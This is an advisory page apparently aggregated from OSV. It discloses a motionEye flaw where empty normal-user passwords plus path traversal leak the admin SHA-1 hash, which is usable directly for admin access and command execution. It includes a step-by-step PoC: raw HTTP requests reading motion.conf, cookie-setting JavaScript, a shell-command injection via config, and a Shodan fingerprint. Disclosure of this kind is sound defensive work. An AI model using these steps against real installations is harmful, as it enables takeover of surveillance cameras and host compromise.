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OSV ecosystem advisory

GHSA-phv5-334h-mxcw: motionEye Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal

Critical—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: motioneye (PyPI) 0.44.0.

Low priority for now. Upgrade to motioneye (PyPI) 0.44.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

# Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal ### Summary Myself and others have reported several RCE vulnerabilities to this project. However, due to the nature of the app, these are largely not of all that much value, as there is built-in functionality to run commands upon certain actions — i.e. RCE is by design. With that in mind, I endeavored to find some sort of auth bypass, and was slightly successful. When the admin password is set but the normal (surveillance) user password is left empty (the default), an unauthenticated attacker can exploit a path traversal vulnerability to read the motionEye configuration file from disk. This file contains the admin password as a SHA-1 hash, and that hash is accepted directly as a signing key for admin API requests — no cracking required. The result is full admin access from zero credentials. This is a realistic scenario: many installations set an admin password to protect the settings UI but leave the normal user password empty so household members can view camera feeds without logging in. ### Details The vulnerability chains two independent issues: **1. Unauthenticated normal-user access when `@normal_password` is empty** In `motioneye/handlers/base.py`, lines 149-151: ```python # no authentication required for normal user if not username and not normal_password: return 'normal' ``` When `@normal_password` is empty (the default — see `config.py` line 2251: `data.setdefault('@normal_password', '')`), any request without a `_username` parameter is silently granted `normal` user access. This is by design for convenience, but it means all normal-level endpoints are fully unauthenticated. **2. Path traversal in `MoviePlaybackHandler` (and related handlers)** The movie playback handler at `motioneye/handlers/movie_playback.py` serves recorded video files. It accepts a filename in the URL path: ``` GET /movie/<camera_id>/playback/<filename> ``` The filename is passed to `mediafiles.get_media_path()` (`mediafiles.py` lines 497-500): ```python def get_media_path(camera_config, path, media_type): target_dir = camera_config.get('target_dir') full_path = os.path.join(target_dir, path) return full_path ``` When `path` is an absolute path (e.g. `/etc/motioneye/motion.conf`), Python's `os.path.join()` discards `target_dir` entirely and returns the absolute path as-is. This would normally be caught by Tornado's `StaticFileHandler` path validation, but `MoviePlaybackHandler` explicitly overrides both safety checks (`movie_playback.py` lines 111-115): ```python def get_absolute_path(self, root, path): return path def validate_absolute_path(self, root, absolute_path): return absolute_path ``` This allows reading any file on the filesystem that the motionEye process can access. The same path traversal exists in the movie download, picture download, and picture preview handlers: - `GET /movie/<camera_id>/download/<filename>` - `GET /picture/<camera_id>/download/<filename>` - `GET /picture/<camera_id>/preview/<filename>` **3. Admin hash stored in a readable config file and accepted directly as a signing key** motionEye stores the admin password as `SHA1(plaintext)` in its main configuration file (`motion.conf`), written as a comment line: ``` # @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db ``` The authentication code in `base.py` (lines 137-147) accepts signatures computed with **either** the raw stored hash or `SHA1(stored_hash)` as the signing key: ```python if username == admin_username and ( signature == utils.compute_signature( self.request.method, self.request.uri, self.request.body, admin_password ) or signature == utils.compute_signature( self.request.method, self.request.uri, self.request.body, admin_hash ) ): return 'admin' ``` Here `admin_password` is the raw value from the config file (the SHA-1 hash), and `admin_hash` is `SHA1(admin_password)` — a hash of the hash. Since the stored value is already a SHA-1 hash, and it is accepted directly as a valid signing key, there is no need to crack it. The attacker can use the stolen hash immediately. Furthermore, the client-side JavaScript (`static/js/main.js` line 3631) computes `sha1(plaintext_password)` and stores it in the `meye_password_hash` cookie as the signing key. This is the same value as `@admin_password` in the config file. ### PoC **Step 1** — Read the config file (unauthenticated, requires empty normal password): ``` GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1 Host: target:8765 ``` Response contains: ``` # @admin_username admin # @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db ``` **Step 2** — Use the hash to become admin. In the browser console: ```javascript document.cookie = "meye_username=admin; path=/"; document.cookie = "meye_password_hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/"; location.reload(); ``` The page reloads with full admin access. All subsequent requests are signed with the stolen hash. **Step 3 (optional)** — Achieve RCE via the admin config API. The admin can set `command_notifications_exec` or `command_storage_exec` to arbitrary shell commands, which are written into motion event hooks and executed by the motion daemon: ``` POST /config/1/set HTTP/1.1 Content-Type: application/json {"command_notifications_enabled": true, "command_notifications_exec": "touch /tmp/pwned", ...} ``` ### Impact - **Privilege escalation from zero credentials to full admin** on any installation where the admin password is set but the normal user password is left empty (the default configuration). - **Arbitrary file read** of any file readable by the motionEye process (typically running as `motion` user, or `root` on motionEyeOS). This includes `/etc/passwd`, `/etc/shadow` (if permissions allow), SSH keys, and application secrets. - **Full remote code execution** — once admin access is obtained, the attacker can inject arbitrary shell commands via motion event hooks (`command_notifications_exec`, `command_storage_exec`, or `web_hook_storage_url`). Commands execute as the motion daemon user. - **Realistic attack surface** — this is a common configuration for home surveillance setups where the admin password protects settings but camera feeds are left open for household members. Public instances are discoverable via Shodan (`http.favicon.hash:1898775751`). ### Suggested Fix 1. The path traversal should be fixed by validating that the resolved path stays within the camera's `target_dir`. Do not override `get_absolute_path` and `validate_absolute_path` to bypass Tornado's built-in protections. At minimum, reject absolute paths in the filename parameter. 2. Consider warning users in the UI when the normal user password is empty, as this makes all normal-level endpoints (including the vulnerable file handlers) fully unauthenticated. 3. The admin password hash should not be stored in a file that is served by the same file handlers used for media content. Alternatively, the `@` metadata lines should be moved to a separate configuration file that is not within any camera's media path.

Published
Jun 23, 2026
Updated
Jun 23, 2026
EPSS
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Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Affected systems

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VendorProduct
PyPImotioneye

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
PyPImotioneyebefore 0.44.00.44.0

Same product

PyPI: all records

Other highest-scoring records for the same primary product.

  • GHSA-qxvg-h7q2-hcxhmotionEye: LFI → pass‑the‑hash admin → unsafe restore → unauth action exec (RCE)
    39Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
PyPI:motioneye0.44.0Package registry (OSV)

Exploit status

No known public exploit

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Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

osv

Attack context

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References

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